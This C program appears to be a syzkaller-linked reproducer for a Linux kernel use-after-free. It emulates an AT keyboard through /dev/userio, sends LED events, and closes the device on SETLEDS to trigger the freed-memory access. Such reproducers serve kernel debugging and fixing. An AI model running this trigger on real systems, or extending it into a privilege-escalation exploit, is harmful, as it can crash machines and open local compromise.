// https://syzkaller.appspot.com/bug?id=55c184e42306caa170ce49bc1bd03e78bbcd836d
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <poll.h>
#include <linux/input.h>
#include <sys/ioctl.h>
#include <errno.h>

#define USERIO_CMD_REGISTER 0
#define USERIO_CMD_SET_PORT_TYPE 1
#define USERIO_CMD_SEND_INTERRUPT 2

struct userio_cmd {
    unsigned char type;
    unsigned char data;
} __attribute__((__packed__));

int main() {
    int fd = open("/dev/userio", O_RDWR);
    if (fd < 0) {
        printf("[-] open /dev/userio: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Opened /dev/userio\n");

    int existing_ev_fds[32] = {0};
    for (int i = 0; i < 32; i++) {
        char path[64];
        sprintf(path, "/dev/input/event%d", i);
        int tmp_fd = open(path, O_RDWR);
        if (tmp_fd >= 0) {
            char name[256] = {0};
            ioctl(tmp_fd, EVIOCGNAME(sizeof(name)), name);
            if (strstr(name, "AT ")) {
                existing_ev_fds[i] = 1;
            }
            close(tmp_fd);
        }
    }

    struct userio_cmd cmd;
    cmd.type = USERIO_CMD_SET_PORT_TYPE;
    cmd.data = 1; // SERIO_8042
    if (write(fd, &cmd, sizeof(cmd)) != sizeof(cmd)) {
        printf("[-] write SET_PORT_TYPE: %s\n", strerror(errno));
        return 1;
    }

    cmd.type = USERIO_CMD_REGISTER;
    cmd.data = 0;
    if (write(fd, &cmd, sizeof(cmd)) != sizeof(cmd)) {
        printf("[-] write REGISTER: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Registered userio port\n");

    // 1. Emulate AT keyboard initialization
    int init_done = 0;
    while (!init_done) {
        struct pollfd pfd = {fd, POLLIN, 0};
        int ret = poll(&pfd, 1, 500);
        if (ret == 0) {
            printf("[+] Initialization timeout (done)\n");
            break;
        }
        if (ret > 0) {
            unsigned char buf;
            if (read(fd, &buf, 1) == 1) {
                printf("[*] Read from userio (init): %02x\n", buf);
                cmd.type = USERIO_CMD_SEND_INTERRUPT;
                cmd.data = 0xfa; // ACK
                if (write(fd, &cmd, sizeof(cmd)) != sizeof(cmd)) {
                    printf("[-] write ACK: %s\n", strerror(errno));
                }
                
                if (buf == 0xf2) { // GETID
                    cmd.data = 0xab;
                    write(fd, &cmd, sizeof(cmd));
                    cmd.data = 0x83;
                    write(fd, &cmd, sizeof(cmd));
                } else if (buf == 0xff) { // RESET_BAT
                    cmd.data = 0xaa;
                    write(fd, &cmd, sizeof(cmd));
                    cmd.data = 0x00;
                    write(fd, &cmd, sizeof(cmd));
                } else if (buf == 0xf4) { // ENABLE
                    init_done = 1;
                }
            }
        }
    }

    // 2. Find the event device
    int ev_fd = -1;
    for (int retry = 0; retry < 20; retry++) {
        // Handle any pending userio commands
        while (1) {
            struct pollfd pfd = {fd, POLLIN, 0};
            if (poll(&pfd, 1, 0) > 0) {
                unsigned char buf;
                if (read(fd, &buf, 1) == 1) {
                    printf("[*] Read from userio (waiting for ev): %02x\n", buf);
                    cmd.type = USERIO_CMD_SEND_INTERRUPT;
                    cmd.data = 0xfa;
                    write(fd, &cmd, sizeof(cmd));
                }
            } else {
                break;
            }
        }

        for (int i = 0; i < 32; i++) {
            if (existing_ev_fds[i]) continue;
            char path[64];
            sprintf(path, "/dev/input/event%d", i);
            int tmp_fd = open(path, O_RDWR);
            if (tmp_fd >= 0) {
                char name[256] = {0};
                ioctl(tmp_fd, EVIOCGNAME(sizeof(name)), name);
                if (strstr(name, "AT ")) {
                    ev_fd = tmp_fd;
                    printf("[+] Found new AT keyboard at %s\n", path);
                    break;
                }
                close(tmp_fd);
            }
        }
        if (ev_fd >= 0) break;
        usleep(100000); // 100ms
    }

    if (ev_fd >= 0) {
        struct input_event ev[2];
        memset(ev, 0, sizeof(ev));
        ev[0].type = EV_LED;
        ev[0].code = LED_NUML;
        ev[0].value = 1;
        ev[1].type = EV_REP;
        ev[1].code = REP_DELAY;
        ev[1].value = 500;
        if (write(ev_fd, ev, sizeof(ev)) != sizeof(ev)) {
            printf("[-] write to event device: %s\n", strerror(errno));
        } else {
            printf("[+] Wrote EV_LED and EV_REP to event device\n");
        }
        close(ev_fd); // Close immediately to drop input_dev refcount
    } else {
        printf("[-] Could not find event device\n");
        return 1;
    }

    // 3. Wait for atkbd_event_work to send 0xed (SETLEDS)
    while (1) {
        struct pollfd pfd = {fd, POLLIN, 0};
        int ret = poll(&pfd, 1, 1000);
        if (ret <= 0) {
            printf("[-] Timeout waiting for SETLEDS\n");
            break;
        }

        unsigned char buf;
        if (read(fd, &buf, 1) == 1) {
            printf("[*] Read from userio (trigger): %02x\n", buf);
            if (buf == 0xed) {
                printf("[+] Received SETLEDS (0xed). Closing userio to trigger UAF.\n");
                close(fd);
                printf("[+] userio closed.\n");
                break;
            } else {
                cmd.type = USERIO_CMD_SEND_INTERRUPT;
                cmd.data = 0xfa;
                write(fd, &cmd, sizeof(cmd));
            }
        }
    }

    // Sleep a bit to ensure the workqueue finishes and UAF is triggered
    sleep(2);
    printf("[+] Done.\n");
    return 0;
}